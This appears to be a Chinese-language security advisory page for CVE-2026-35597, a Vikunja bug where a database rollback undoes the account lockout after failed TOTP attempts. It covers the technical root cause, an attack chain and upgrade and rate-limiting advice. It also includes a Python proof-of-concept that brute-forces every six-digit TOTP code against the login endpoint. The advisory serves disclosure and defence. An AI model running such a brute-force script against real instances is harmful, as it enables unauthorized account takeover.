IPBUF安全漏洞报告
English
CVE-2026-35597 CVSS 5.9 中危

CVE-2026-35597 Vikunja TOTP锁定机制失效漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35597
漏洞类型
认证绕过
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

认证绕过逻辑漏洞Vikunja暴力破解CVE-2026-35597

漏洞概述

Vikunja在2.3.0版本之前存在一个由于数据库事务处理不当导致的漏洞。该漏洞使得TOTP验证失败后的账户锁定机制失效。攻击者可利用此缺陷绕过锁定限制,无限制地对TOTP代码进行暴力破解攻击,从而获得用户账户的未授权访问。该问题已在2.3.0版本中修复。

技术细节

漏洞根源在于Vikunja的登录处理逻辑中存在数据库事务回滚缺陷。具体来看,当TOTP验证失败时,`pkg/routes/api/v1/login.go`中的登录处理程序会调用`HandleFailedTOTPAuth`函数。该函数使用内存计数器跟踪失败次数,当达到10次时,会尝试在同一数据库会话中将用户状态设置为`StatusAccountLocked`。然而,由于登录处理程序在TOTP验证失败后无条件地执行了事务回滚,导致账户状态变更被撤销。尽管内存计数器正确累加并触发锁定逻辑,但数据库层面的状态始终未被持久化。这一逻辑漏洞使得攻击者可以无视系统设定的防暴力破解机制,无限次尝试TOTP验证码,极大地增加了爆破成功的风险。

攻击链分析

STEP 1
信息收集
攻击者识别目标Vikunja实例并获取目标用户的用户名和密码(可能通过钓鱼或其他泄露途径)。
STEP 2
发起攻击
攻击者向登录端点发送包含正确密码但错误TOTP代码的请求。
STEP 3
触发逻辑缺陷
Vikunja服务器处理请求,增加内存中的失败计数器,并尝试锁定账户,但随后回滚数据库事务,撤销锁定状态。
STEP 4
暴力破解
攻击者利用该漏洞循环尝试所有可能的TOTP组合,直到找到正确的代码,期间账户不会被实际锁定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35597: Vikunja TOTP Lockout Bypass # Description: This script demonstrates that an attacker can brute-force TOTP codes # without the account being locked out, because the database transaction # setting the 'locked' status is rolled back after every failed attempt. import requests def brute_force_vikunja_totp(target_url, username, password): session = requests.Session() # Simulate iterating through TOTP codes (000000 to 999999) for code in range(0, 1000000): totp_code = f"{code:06d}" payload = { "username": username, "password": password, "totp_passcode": totp_code } try: response = session.post(f"{target_url}/api/v1/login", json=payload) if response.status_code == 200: print(f"[+] Success! Valid TOTP found: {totp_code}") print(f"[+] Response: {response.text}") return else: # Due to the vulnerability, the account lock status is rolled back. # The attacker continues indefinitely. if code % 100 == 0: print(f"[*] Attempt {code}: Failed. Lockout bypassed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "http://localhost:3456" USER = "[email protected]" PASS = "password123" brute_force_vikunja_totp(TARGET, USER, PASS)

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
建议用户立即将Vikunja升级到2.3.0或更高版本以修复此漏洞。在无法立即升级的情况下,管理员应监控登录日志中的异常失败模式,并考虑在应用防火墙层面配置针对登录接口的严格频率限制,以缓解暴力破解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表